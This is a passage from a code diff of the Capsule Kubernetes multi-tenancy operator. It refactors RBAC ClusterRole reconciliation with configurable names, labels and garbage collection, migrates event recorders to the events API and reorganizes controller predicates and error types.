    +		meta.CreatedByCapsuleLabel: controllerManager,
    +	})
     
     	crErr := ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/rbac/roles").
     		For(&rbacv1.ClusterRole{}, namesPredicate).
     		Complete(r)
     	if crErr != nil {
     		err = errors.Join(err, crErr)
     	}
     
     	crbErr := ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/rbac/bindings").
     		For(&rbacv1.ClusterRoleBinding{}, namesPredicate).
     		Watches(&capsulev1beta2.CapsuleConfiguration{}, handler.Funcs{
     			UpdateFunc: func(ctx context.Context, updateEvent event.TypedUpdateEvent[client.Object], limitingInterface workqueue.TypedRateLimitingInterface[reconcile.Request]) {
    @@ -63,7 +71,7 @@ func (r *Manager) SetupWithManager(ctx context.Context, mgr ctrl.Manager, ctrlCo
     				r.handleSAChange(ctx, e.Object)
     			},
     			UpdateFunc: func(ctx context.Context, e event.TypedUpdateEvent[client.Object], q workqueue.TypedRateLimitingInterface[reconcile.Request]) {
    -				if utils.LabelsChanged([]string{meta.OwnerPromotionLabel}, e.ObjectOld.GetLabels(), e.ObjectNew.GetLabels()) {
    +				if predicates.LabelsChanged([]string{meta.OwnerPromotionLabel}, e.ObjectOld.GetLabels(), e.ObjectNew.GetLabels()) {
     					r.handleSAChange(ctx, e.ObjectNew)
     				}
     			},
    @@ -82,36 +90,48 @@ func (r *Manager) SetupWithManager(ctx context.Context, mgr ctrl.Manager, ctrlCo
     // Reconcile serves both required ClusterRole and ClusterRoleBinding resources: that's ok, we're watching for multiple
     // Resource kinds and we're just interested to the ones with the said name since they're bounded together.
     func (r *Manager) Reconcile(ctx context.Context, request reconcile.Request) (res reconcile.Result, err error) {
    -	switch request.Name {
    -	case api.ProvisionerRoleName:
    -		if err = r.EnsureClusterRole(ctx, api.ProvisionerRoleName); err != nil {
    -			r.Log.Error(err, "Reconciliation for ClusterRole failed", "ClusterRole", api.ProvisionerRoleName)
    -
    -			break
    -		}
    +	rbac := r.Configuration.RBAC()
     
    -		if err = r.EnsureClusterRoleBindingsProvisioner(ctx); err != nil {
    -			r.Log.Error(err, "Reconciliation for ClusterRoleBindings (Provisioner) failed")
    +	switch request.Name {
    +	case rbac.ProvisionerClusterRole:
    +		if err = r.EnsureClusterRoleProvisioner(ctx); err != nil {
    +			r.Log.Error(err, "reconciliation for ClusterRole failed", "ClusterRole", rbac.ProvisionerClusterRole)
     
     			break
     		}
    -	case api.DeleterRoleName:
    -		if err = r.EnsureClusterRole(ctx, api.DeleterRoleName); err != nil {
    -			r.Log.Error(err, "Reconciliation for ClusterRole failed", "ClusterRole", api.DeleterRoleName)
    +	case rbac.DeleterClusterRole:
    +		if err = r.EnsureClusterRoleDeleter(ctx); err != nil {
    +			r.Log.Error(err, "reconciliation for ClusterRole failed", "ClusterRole", rbac.DeleterClusterRole)
     		}
     	}
     
     	return res, err
     }
     
     func (r *Manager) EnsureClusterRoleBindingsProvisioner(ctx context.Context) error {
    +	rbac := r.Configuration.RBAC()
    +
     	crb := &rbacv1.ClusterRoleBinding{
    -		ObjectMeta: metav1.ObjectMeta{Name: api.ProvisionerRoleName},
    +		ObjectMeta: metav1.ObjectMeta{Name: rbac.ProvisionerClusterRole},
     	}
     
     	return retry.RetryOnConflict(retry.DefaultRetry, func() error {
     		_, err := controllerutil.CreateOrUpdate(ctx, r.Client, crb, func() error {
    -			crb.RoleRef = api.ProvisionerClusterRoleBinding.RoleRef
    +			crb.RoleRef = rbacv1.RoleRef{
    +				Kind:     "ClusterRole",
    +				Name:     rbac.ProvisionerClusterRole,
    +				APIGroup: rbacv1.GroupName,
    +			}
    +
    +			labels := crb.GetLabels()
    +			if labels == nil {
    +				labels = make(map[string]string)
    +			}
    +
    +			labels[meta.CreatedByCapsuleLabel] = controllerManager
    +
    +			crb.SetLabels(labels)
    +
     			crb.Subjects = nil
     
     			users := r.Configuration.GetUsersByStatus()
    @@ -169,54 +189,92 @@ func (r *Manager) EnsureClusterRoleBindingsProvisioner(ctx context.Context) erro
     	})
     }
     
    -func (r *Manager) EnsureClusterRole(ctx context.Context, roleName string) (err error) {
    -	role, ok := api.ClusterRoles[roleName]
    -	if !ok {
    -		return fmt.Errorf("clusterRole %s is not mapped", roleName)
    +func (r *Manager) EnsureClusterRoleProvisioner(ctx context.Context) (err error) {
    +	clusterRole := &rbacv1.ClusterRole{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name: r.Configuration.RBAC().ProvisionerClusterRole,
    +		},
    +	}
    +
    +	_, err = controllerutil.CreateOrUpdate(ctx, r.Client, clusterRole, func() error {
    +		labels := clusterRole.GetLabels()
    +		if labels == nil {
    +			labels = make(map[string]string)
    +		}
    +
    +		labels[meta.CreatedByCapsuleLabel] = controllerManager
    +
    +		clusterRole.SetLabels(labels)
    +
    +		clusterRole.Rules = []rbacv1.PolicyRule{
    +			{
    +				APIGroups: []string{""},
    +				Resources: []string{"namespaces"},
    +				Verbs:     []string{"create", "patch"},
    +			},
    +		}
    +
    +		return nil
    +	})
    +	if err != nil {
    +		return err
    +	}
    +
    +	err = r.EnsureClusterRoleBindingsProvisioner(ctx)
    +	if err != nil && apierrors.IsAlreadyExists(err) {
    +		return nil
     	}
     
    +	return r.garbageCollectRBAC(ctx)
    +}
    +
    +func (r *Manager) EnsureClusterRoleDeleter(ctx context.Context) (err error) {
     	clusterRole := &rbacv1.ClusterRole{
     		ObjectMeta: metav1.ObjectMeta{
    -			Name: role.GetName(),
    +			Name: r.Configuration.RBAC().DeleterClusterRole,
     		},
     	}
     
     	_, err = controllerutil.CreateOrUpdate(ctx, r.Client, clusterRole, func() error {
    -		clusterRole.Rules = role.Rules
    +		labels := clusterRole.GetLabels()
    +		if labels == nil {
    +			labels = make(map[string]string)
    +		}
    +
    +		labels[meta.CreatedByCapsuleLabel] = controllerManager
    +
    +		clusterRole.SetLabels(labels)
    +
    +		clusterRole.Rules = []rbacv1.PolicyRule{
    +			{
    +				APIGroups: []string{""},
    +				Resources: []string{"namespaces"},
    +				Verbs:     []string{"delete"},
    +			},
    +		}
     
     		return nil
     	})
    +	if err != nil {
    +		return err
    +	}
     
    -	return err
    +	return r.garbageCollectRBAC(ctx)
     }
     
     // Start is the Runnable function triggered upon Manager start-up to perform the first RBAC reconciliation
     // since we're not creating empty CR and CRB upon Capsule installation: it's a run-once task, since the reconciliation
     // is handled by the Reconciler implemented interface.
     func (r *Manager) Start(ctx context.Context) error {
    -	for roleName := range api.ClusterRoles {
    -		r.Log.V(4).Info("setting up ClusterRoles", "ClusterRole", roleName)
    -
    -		if err := r.EnsureClusterRole(ctx, roleName); err != nil {
    -			if apierrors.IsAlreadyExists(err) {
    -				continue
    -			}
    -
    -			return err
    -		}
    +	if err := r.EnsureClusterRoleProvisioner(ctx); err != nil && !apierrors.IsAlreadyExists(err) {
    +		return err
     	}
     
    -	r.Log.V(4).Info("setting up ClusterRoleBindings")
    -
    -	if err := r.EnsureClusterRoleBindingsProvisioner(ctx); err != nil {
    -		if apierrors.IsAlreadyExists(err) {
    -			return nil
    -		}
    -
    +	if err := r.EnsureClusterRoleDeleter(ctx); err != nil && !apierrors.IsAlreadyExists(err) {
     		return err
     	}
     
    -	return nil
    +	return r.garbageCollectRBAC(ctx)
     }
     
     func (r *Manager) handleSAChange(ctx context.Context, obj client.Object) {
    @@ -228,3 +286,72 @@ func (r *Manager) handleSAChange(ctx context.Context, obj client.Object) {
     		r.Log.Error(err, "cannot update ClusterRoleBinding upon ServiceAccount event")
     	}
     }
    +
    +func (r *Manager) garbageCollectRBAC(ctx context.Context) error {
    +	rbac := r.Configuration.RBAC()
    +
    +	desiredCR := map[string]struct{}{
    +		rbac.ProvisionerClusterRole: {},
    +		rbac.DeleterClusterRole:     {},
    +	}
    +
    +	desiredCRB := map[string]struct{}{
    +		rbac.ProvisionerClusterRole: {},
    +	}
    +
    +	if err := r.garbageCollectClusterRoles(ctx, desiredCR); err != nil {
    +		return err
    +	}
    +
    +	if err := r.garbageCollectClusterRoleBindings(ctx, desiredCRB); err != nil {
    +		return err
    +	}
    +
    +	return nil
    +}
    +
    +//nolint:dupl
    +func (r *Manager) garbageCollectClusterRoles(ctx context.Context, desired map[string]struct{}) error {
    +	list := &rbacv1.ClusterRoleList{}
    +	if err := r.Client.List(ctx, list, client.MatchingLabels{
    +		meta.CreatedByCapsuleLabel: controllerManager,
    +	}); err != nil {
    +		return err
    +	}
    +
    +	for i := range list.Items {
    +		cr := &list.Items[i]
    +		if _, ok := desired[cr.Name]; ok {
    +			continue
    +		}
    +
    +		if err := r.Client.Delete(ctx, cr); err != nil && !apierrors.IsNotFound(err) {
    +			return err
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +//nolint:dupl
    +func (r *Manager) garbageCollectClusterRoleBindings(ctx context.Context, desired map[string]struct{}) error {
    +	list := &rbacv1.ClusterRoleBindingList{}
    +	if err := r.Client.List(ctx, list, client.MatchingLabels{
    +		meta.CreatedByCapsuleLabel: controllerManager,
    +	}); err != nil {
    +		return err
    +	}
    +
    +	for i := range list.Items {
    +		crb := &list.Items[i]
    +		if _, ok := desired[crb.Name]; ok {
    +			continue
    +		}
    +
    +		if err := r.Client.Delete(ctx, crb); err != nil && !apierrors.IsNotFound(err) {
    +			return err
    +		}
    +	}
    +
    +	return nil
    +}
    
  • internal/controllers/resourcepools/claim_controller.go+12 10 modified
    @@ -12,7 +12,7 @@ import (
     	apierrors "k8s.io/apimachinery/pkg/api/errors"
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"k8s.io/client-go/util/retry"
     	ctrl "sigs.k8s.io/controller-runtime"
     	"sigs.k8s.io/controller-runtime/pkg/builder"
    @@ -27,18 +27,20 @@ import (
     	"github.com/projectcapsule/capsule/internal/metrics"
     	"github.com/projectcapsule/capsule/pkg/api"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
     )
     
     type resourceClaimController struct {
     	client.Client
     
     	metrics  *metrics.ClaimRecorder
     	log      logr.Logger
    -	recorder record.EventRecorder
    +	recorder events.EventRecorder
     }
     
     func (r *resourceClaimController) SetupWithManager(mgr ctrl.Manager, cfg utils.ControllerOptions) error {
     	return ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/resourcepools/claims").
     		For(&capsulev1beta2.ResourcePoolClaim{}).
     		Watches(
     			&capsulev1beta2.ResourcePool{},
    @@ -209,12 +211,14 @@ func (r resourceClaimController) allocateResourcePool(
     		UID:  pool.GetUID(),
     	}
     
    -	if !meta.HasLooseOwnerReference(cl, pool) {
    +	reference := meta.GetLooseOwnerReference(pool)
    +
    +	if !meta.HasLooseOwnerReference(cl, reference) {
     		log.V(4).Info("adding ownerreference for", "pool", pool.Name)
     
     		patch := client.MergeFrom(cl.DeepCopy())
     
    -		if err := meta.SetLooseOwnerReference(cl, pool, r.Scheme()); err != nil {
    +		if err := meta.SetLooseOwnerReference(cl, reference); err != nil {
     			return err
     		}
     
    @@ -250,7 +254,7 @@ func (r resourceClaimController) allocateResourcePool(
     func updateStatusAndEmitEvent(
     	ctx context.Context,
     	c client.Client,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	claim *capsulev1beta2.ResourcePoolClaim,
     	condition metav1.Condition,
     ) (err error) {
    @@ -283,14 +287,12 @@ func updateStatusAndEmitEvent(
     		eventType = corev1.EventTypeWarning
     	}
     
    -	recorder.AnnotatedEventf(
    +	recorder.Eventf(
     		claim,
    -		map[string]string{
    -			"Status": string(claim.Status.Condition.Status),
    -			"Type":   claim.Status.Condition.Type,
    -		},
    +		nil,
     		eventType,
     		claim.Status.Condition.Reason,
    +		evt.ActionReconciled,
     		claim.Status.Condition.Message,
     	)
     
    
  • internal/controllers/resourcepools/manager.go+2 2 modified
    @@ -7,7 +7,7 @@ import (
     	"fmt"
     
     	"github.com/go-logr/logr"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/manager"
     
     	"github.com/projectcapsule/capsule/internal/controllers/utils"
    @@ -17,7 +17,7 @@ import (
     func Add(
     	log logr.Logger,
     	mgr manager.Manager,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	cfg utils.ControllerOptions,
     ) (err error) {
     	if err = (&resourcePoolController{
    
  • internal/controllers/resourcepools/pool_controller.go+13 13 modified
    @@ -16,7 +16,7 @@ import (
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     	"k8s.io/apimachinery/pkg/fields"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"k8s.io/client-go/util/retry"
     	ctrl "sigs.k8s.io/controller-runtime"
     	"sigs.k8s.io/controller-runtime/pkg/client"
    @@ -30,6 +30,7 @@ import (
     	"github.com/projectcapsule/capsule/internal/metrics"
     	"github.com/projectcapsule/capsule/pkg/api"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
     	"github.com/projectcapsule/capsule/pkg/utils"
     )
     
    @@ -38,11 +39,12 @@ type resourcePoolController struct {
     
     	metrics  *metrics.ResourcePoolRecorder
     	log      logr.Logger
    -	recorder record.EventRecorder
    +	recorder events.EventRecorder
     }
     
     func (r *resourcePoolController) SetupWithManager(mgr ctrl.Manager, cfg ctrlutils.ControllerOptions) error {
     	return ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/resourcepools/pools").
     		For(&capsulev1beta2.ResourcePool{}).
     		Owns(&corev1.ResourceQuota{}).
     		Watches(&capsulev1beta2.ResourcePoolClaim{},
    @@ -350,15 +352,15 @@ func (r *resourcePoolController) handleClaimResourceExhaustion(
     	currentExhaustions map[string]api.PoolExhaustionResource,
     	exhaustions map[string]api.PoolExhaustionResource,
     ) (err error) {
    -	status := make([]string, 0) //nolint:prealloc
    -
    -	resourceNames := make([]string, 0) //nolint:prealloc
    +	resourceNames := make([]string, 0, len(currentExhaustions))
     	for resourceName := range currentExhaustions {
     		resourceNames = append(resourceNames, resourceName)
     	}
     
     	sort.Strings(resourceNames)
     
    +	status := make([]string, 0, len(resourceNames))
    +
     	for _, resourceName := range resourceNames {
     		ex := currentExhaustions[resourceName]
     
    @@ -441,7 +443,7 @@ func (r *resourcePoolController) handleClaimDisassociation(
     
     		if !*pool.Spec.Config.DeleteBoundResources || meta.ReleaseAnnotationTriggers(current) {
     			patch := client.MergeFrom(current.DeepCopy())
    -			meta.RemoveLooseOwnerReference(current, pool)
    +			meta.RemoveLooseOwnerReference(current, meta.GetLooseOwnerReference(pool))
     			meta.ReleaseAnnotationRemove(current)
     
     			if err := r.Patch(ctx, current, patch); err != nil {
    @@ -454,15 +456,13 @@ func (r *resourcePoolController) handleClaimDisassociation(
     			return fmt.Errorf("failed to update claim status: %w", err)
     		}
     
    -		r.recorder.AnnotatedEventf(
    +		r.recorder.Eventf(
    +			pool,
     			current,
    -			map[string]string{
    -				"Status": string(metav1.ConditionFalse),
    -				"Type":   meta.NotReadyCondition,
    -			},
     			corev1.EventTypeNormal,
    -			"Disassociated",
    -			"Claim is disassociated from the pool",
    +			evt.ReasonDisassociated,
    +			evt.ActionDisassociating,
    +			"claim is disassociated from the pool",
     		)
     
     		return nil
    
  • internal/controllers/resources/processor.go+4 1 modified
    @@ -25,6 +25,7 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	tpl "github.com/projectcapsule/capsule/pkg/template"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     const (
    @@ -243,7 +244,9 @@ func (r *Processor) HandleSection(ctx context.Context, tnt capsulev1beta2.Tenant
     		for rawIndex, item := range spec.RawItems {
     			template := string(item.Raw)
     
    -			tmplString := tpl.TemplateForTenantAndNamespace(template, &tnt, &ns)
    +			fastContext := tenant.ContextForTenantAndNamespace(&tnt, &ns)
    +
    +			tmplString := tpl.FastTemplate(template, fastContext)
     
     			obj, keysAndValues := unstructured.Unstructured{}, []any{"index", rawIndex}
     
    
  • internal/controllers/servicelabels/abstract.go+5 4 modified
    @@ -21,6 +21,7 @@ import (
     	"sigs.k8s.io/controller-runtime/pkg/reconcile"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
     	"github.com/projectcapsule/capsule/pkg/utils"
     )
     
    @@ -33,9 +34,9 @@ type abstractServiceLabelsReconciler struct {
     func (r *abstractServiceLabelsReconciler) Reconcile(ctx context.Context, request ctrl.Request) (ctrl.Result, error) {
     	tenant, err := r.getTenant(ctx, request.NamespacedName, r.client)
     	if err != nil {
    -		noTenantObjError := &NonTenantObjectError{}
    +		noTenantObjError := &caperrors.NonTenantObjectError{}
     
    -		noSvcMetaError := &NoServicesMetadataError{}
    +		noSvcMetaError := &caperrors.NoServicesMetadataError{}
     		if errors.As(err, &noTenantObjError) || errors.As(err, &noSvcMetaError) {
     			return reconcile.Result{}, nil
     		}
    @@ -85,15 +86,15 @@ func (r *abstractServiceLabelsReconciler) getTenant(ctx context.Context, namespa
     
     	capsuleLabel, _ := utils.GetTypeLabel(&capsulev1beta2.Tenant{})
     	if _, ok := ns.GetLabels()[capsuleLabel]; !ok {
    -		return nil, NewNonTenantObject(namespacedName.Name)
    +		return nil, caperrors.NewNonTenantObject(namespacedName.Name)
     	}
     
     	if err := client.Get(ctx, types.NamespacedName{Name: ns.Labels[capsuleLabel]}, tenant); err != nil {
     		return nil, err
     	}
     
     	if tenant.Spec.ServiceOptions == nil || tenant.Spec.ServiceOptions.AdditionalMetadata == nil {
    -		return nil, NewNoServicesMetadata(namespacedName.Name)
    +		return nil, caperrors.NewNoServicesMetadata(namespacedName.Name)
     	}
     
     	return tenant, nil
    
  • internal/controllers/servicelabels/endpoint_slices.go+1 0 modified
    @@ -28,5 +28,6 @@ func (r *EndpointSlicesLabelsReconciler) SetupWithManager(ctx context.Context, m
     
     	return ctrl.NewControllerManagedBy(mgr).
     		For(r.abstractServiceLabelsReconciler.obj, r.abstractServiceLabelsReconciler.forOptionPerInstanceName(ctx)).
    +		Named("capsule/endpointslices").
     		Complete(r)
     }
    
  • internal/controllers/servicelabels/errors.go+0 30 removed
    @@ -1,30 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package servicelabels
    -
    -import "fmt"
    -
    -type NonTenantObjectError struct {
    -	objectName string
    -}
    -
    -func NewNonTenantObject(objectName string) error {
    -	return &NonTenantObjectError{objectName: objectName}
    -}
    -
    -func (n NonTenantObjectError) Error() string {
    -	return fmt.Sprintf("Skipping labels sync for %s as it doesn't belong to tenant", n.objectName)
    -}
    -
    -type NoServicesMetadataError struct {
    -	objectName string
    -}
    -
    -func NewNoServicesMetadata(objectName string) error {
    -	return &NoServicesMetadataError{objectName: objectName}
    -}
    -
    -func (n NoServicesMetadataError) Error() string {
    -	return fmt.Sprintf("Skipping labels sync for %s because no AdditionalLabels or AdditionalAnnotations presents in Tenant spec", n.objectName)
    -}
    
  • internal/controllers/servicelabels/service.go+1 0 modified
    @@ -26,5 +26,6 @@ func (r *ServicesLabelsReconciler) SetupWithManager(ctx context.Context, mgr ctr
     
     	return ctrl.NewControllerManagedBy(mgr).
     		For(r.abstractServiceLabelsReconciler.obj, r.abstractServiceLabelsReconciler.forOptionPerInstanceName(ctx)).
    +		Named("capsule/services").
     		Complete(r)
     }
    
  • internal/controllers/tenant/limitranges.go+0 2 modified
    @@ -72,8 +72,6 @@ func (r *Manager) syncLimitRange(ctx context.Context, tenant *capsulev1beta2.Ten
     			return controllerutil.SetControllerReference(tenant, target, r.Scheme())
     		})
     
    -		r.emitEvent(tenant, target.GetNamespace(), res, fmt.Sprintf("Ensuring LimitRange %s", target.GetName()), err)
    -
     		r.Log.V(4).Info("LimitRange sync result: "+string(res), "name", target.Name, "namespace", target.Namespace)
     
     		if err != nil {
    
  • internal/controllers/tenant/manager.go+23 18 modified
    @@ -22,7 +22,7 @@ import (
     	"k8s.io/apimachinery/pkg/types"
     	"k8s.io/apiserver/pkg/authentication/serviceaccount"
     	"k8s.io/client-go/rest"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"k8s.io/client-go/util/retry"
     	"k8s.io/client-go/util/workqueue"
     	ctrl "sigs.k8s.io/controller-runtime"
    @@ -40,15 +40,17 @@ import (
     	"github.com/projectcapsule/capsule/internal/metrics"
     	"github.com/projectcapsule/capsule/pkg/api"
     	meta "github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/gvk"
    +	"github.com/projectcapsule/capsule/pkg/runtime/predicates"
     )
     
     type Manager struct {
     	client.Client
     
     	Metrics       *metrics.TenantRecorder
     	Log           logr.Logger
    -	Recorder      record.EventRecorder
    +	Recorder      events.EventRecorder
     	Configuration configuration.Configuration
     	RESTConfig    *rest.Config
     	classes       supportedClasses
    @@ -61,6 +63,7 @@ type supportedClasses struct {
     
     func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.ControllerOptions) error {
     	ctrlBuilder := ctrl.NewControllerManagedBy(mgr).
    +		Named("capsule/tenants").
     		For(
     			&capsulev1beta2.Tenant{},
     			builder.WithPredicates(
    @@ -74,8 +77,10 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     		Watches(
     			&capsulev1beta2.CapsuleConfiguration{},
     			handler.EnqueueRequestsFromMapFunc(r.enqueueAllTenants),
    -			utils.NamesMatchingPredicate(ctrlConfig.ConfigurationName),
    -			builder.WithPredicates(utils.CapsuleConfigSpecChangedPredicate),
    +			builder.WithPredicates(
    +				predicates.CapsuleConfigSpecChangedPredicate{},
    +				predicates.NamesMatchingPredicate{Names: []string{ctrlConfig.ConfigurationName}},
    +			),
     		).
     		Watches(
     			&corev1.Namespace{},
    @@ -88,7 +93,7 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     				r.collectAvailableStorageClasses,
     				"cannot collect storage classes",
     			),
    -			builder.WithPredicates(utils.UpdatedMetadataPredicate),
    +			builder.WithPredicates(predicates.UpdatedLabelsPredicate{}),
     		).
     		Watches(
     			&schedulingv1.PriorityClass{},
    @@ -97,7 +102,7 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     				r.collectAvailablePriorityClasses,
     				"cannot collect priority classes",
     			),
    -			builder.WithPredicates(utils.UpdatedMetadataPredicate),
    +			builder.WithPredicates(predicates.UpdatedLabelsPredicate{}),
     		).
     		Watches(
     			&nodev1.RuntimeClass{},
    @@ -106,7 +111,7 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     				r.collectAvailableRuntimeClasses,
     				"cannot collect runtime classes",
     			),
    -			builder.WithPredicates(utils.UpdatedMetadataPredicate),
    +			builder.WithPredicates(predicates.UpdatedLabelsPredicate{}),
     		).
     		Watches(
     			&capsulev1beta2.TenantOwner{},
    @@ -183,12 +188,12 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     					})
     				},
     			},
    -			builder.WithPredicates(utils.PromotedServiceaccountPredicate),
    +			builder.WithPredicates(predicates.PromotedServiceaccountPredicate{}),
     		).
     		WithOptions(controller.Options{MaxConcurrentReconciles: ctrlConfig.MaxConcurrentReconciles})
     
     	// GatewayClass is Optional
    -	r.classes.gateway = utils.HasGVK(mgr.GetRESTMapper(), schema.GroupVersionKind{
    +	r.classes.gateway = gvk.HasGVK(mgr.GetRESTMapper(), schema.GroupVersionKind{
     		Group:   "gateway.networking.k8s.io",
     		Version: "v1",
     		Kind:    "GatewayClass",
    @@ -202,12 +207,12 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     				r.collectAvailableGatewayClasses,
     				"cannot collect gateway classes",
     			),
    -			builder.WithPredicates(utils.UpdatedMetadataPredicate),
    +			builder.WithPredicates(predicates.UpdatedLabelsPredicate{}),
     		)
     	}
     
     	// DeviceClass is Optional
    -	r.classes.device = utils.HasGVK(mgr.GetRESTMapper(), schema.GroupVersionKind{
    +	r.classes.device = gvk.HasGVK(mgr.GetRESTMapper(), schema.GroupVersionKind{
     		Group:   "resource.k8s.io",
     		Version: "v1",
     		Kind:    "DeviceClass",
    @@ -221,7 +226,7 @@ func (r *Manager) SetupWithManager(mgr ctrl.Manager, ctrlConfig utils.Controller
     				r.collectAvailableDeviceClasses,
     				"cannot collect device classes",
     			),
    -			builder.WithPredicates(utils.UpdatedMetadataPredicate),
    +			builder.WithPredicates(predicates.UpdatedLabelsPredicate{}),
     		)
     	}
     
    @@ -235,15 +240,15 @@ func (r Manager) Reconcile(ctx context.Context, request ctrl.Request) (result ct
     	instance := &capsulev1beta2.Tenant{}
     	if err = r.Get(ctx, request.NamespacedName, instance); err != nil {
     		if apierrors.IsNotFound(err) {
    -			r.Log.V(3).Info("Request object not found, could have been deleted after reconcile request")
    +			r.Log.V(3).Info("request object not found, could have been deleted after reconcile request")
     
     			// If tenant was deleted or cannot be found, clean up metrics
     			r.Metrics.DeleteAllMetricsForTenant(request.Name)
     
     			return reconcile.Result{}, nil
     		}
     
    -		r.Log.Error(err, "Error reading the object")
    +		r.Log.Error(err, "error reading the object")
     
     		return result, err
     	}
    @@ -278,7 +283,7 @@ func (r Manager) Reconcile(ctx context.Context, request ctrl.Request) (result ct
     	}
     
     	// Ensuring ResourceQuota
    -	r.Log.V(4).Info("Ensuring limit resources count is updated")
    +	r.Log.V(4).Info("ensuring limit resources count is updated")
     
     	if err = r.syncCustomResourceQuotaUsages(ctx, instance); err != nil {
     		err = fmt.Errorf("cannot count limited resources: %w", err)
    @@ -287,7 +292,7 @@ func (r Manager) Reconcile(ctx context.Context, request ctrl.Request) (result ct
     	}
     
     	// Reconcile Namespaces
    -	r.Log.V(4).Info("Starting processing of Namespaces", "items", len(instance.Status.Namespaces))
    +	r.Log.V(4).Info("starting processing of Namespaces", "items", len(instance.Status.Namespaces))
     
     	if err = r.reconcileNamespaces(ctx, instance); err != nil {
     		err = fmt.Errorf("namespace(s) had reconciliation errors")
    @@ -296,7 +301,7 @@ func (r Manager) Reconcile(ctx context.Context, request ctrl.Request) (result ct
     	}
     
     	// Ensuring NetworkPolicy resources
    -	r.Log.V(4).Info("Starting processing of Network Policies")
    +	r.Log.V(4).Info("starting processing of Network Policies")
     
     	if err = r.syncNetworkPolicies(ctx, instance); err != nil {
     		err = fmt.Errorf("cannot sync networkPolicy items: %w", err)
    
  • internal/controllers/tenant/namespaces.go+59 3 modified
    @@ -20,7 +20,7 @@ import (
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     // Ensuring all annotations are applied to each Namespace handled by the Tenant.
    @@ -116,9 +116,20 @@ func (r *Manager) reconcileNamespace(ctx context.Context, namespace string, tnt
     		r.syncNamespaceStatusMetrics(tnt, ns)
     	}()
     
    +	// Collect Rules for namespace
    +	ruleBody, err := tenant.BuildNamespaceRuleBodyForNamespace(ns, tnt)
    +	if err != nil {
    +		return err
    +	}
    +
    +	err = r.ensureRuleStatus(ctx, ns, tnt, ruleBody, namespace)
    +	if err != nil {
    +		return err
    +	}
    +
     	err = retry.RetryOnConflict(retry.DefaultBackoff, func() (conflictErr error) {
     		_, conflictErr = controllerutil.CreateOrUpdate(ctx, r.Client, ns, func() error {
    -			metaStatus, err = r.reconcileMetadata(ctx, ns, tnt, stat)
    +			metaStatus, err = r.reconcileNamespaceMetadata(ctx, ns, tnt, stat)
     
     			return err
     		})
    @@ -129,8 +140,53 @@ func (r *Manager) reconcileNamespace(ctx context.Context, namespace string, tnt
     	return err
     }
     
    +func (r *Manager) ensureRuleStatus(
    +	ctx context.Context,
    +	ns *corev1.Namespace,
    +	tnt *capsulev1beta2.Tenant,
    +	rule *capsulev1beta2.NamespaceRuleBody,
    +	namespace string,
    +) error {
    +	nsStatus := &capsulev1beta2.RuleStatus{
    +		ObjectMeta: metav1.ObjectMeta{
    +			Name:      meta.NameForManagedRuleStatus(),
    +			Namespace: namespace,
    +		},
    +	}
    +
    +	_, err := controllerutil.CreateOrUpdate(ctx, r.Client, nsStatus, func() error {
    +		labels := nsStatus.GetLabels()
    +		if labels == nil {
    +			labels = make(map[string]string)
    +		}
    +
    +		labels[meta.NewManagedByCapsuleLabel] = meta.ControllerValue
    +		labels[meta.CapsuleNameLabel] = nsStatus.Name
    +
    +		nsStatus.SetLabels(labels)
    +
    +		err := controllerutil.SetOwnerReference(tnt, nsStatus, r.Scheme())
    +		if err != nil {
    +			return err
    +		}
    +
    +		return controllerutil.SetOwnerReference(ns, nsStatus, r.Scheme())
    +	})
    +	if err != nil {
    +		return err
    +	}
    +
    +	nsStatus.Status.Rule = *rule
    +
    +	if err := r.Status().Update(ctx, nsStatus); err != nil {
    +		return err
    +	}
    +
    +	return nil
    +}
    +
     //nolint:nestif
    -func (r *Manager) reconcileMetadata(
    +func (r *Manager) reconcileNamespaceMetadata(
     	ctx context.Context,
     	ns *corev1.Namespace,
     	tnt *capsulev1beta2.Tenant,
    
  • internal/controllers/tenant/networkpolicies.go+1 3 modified
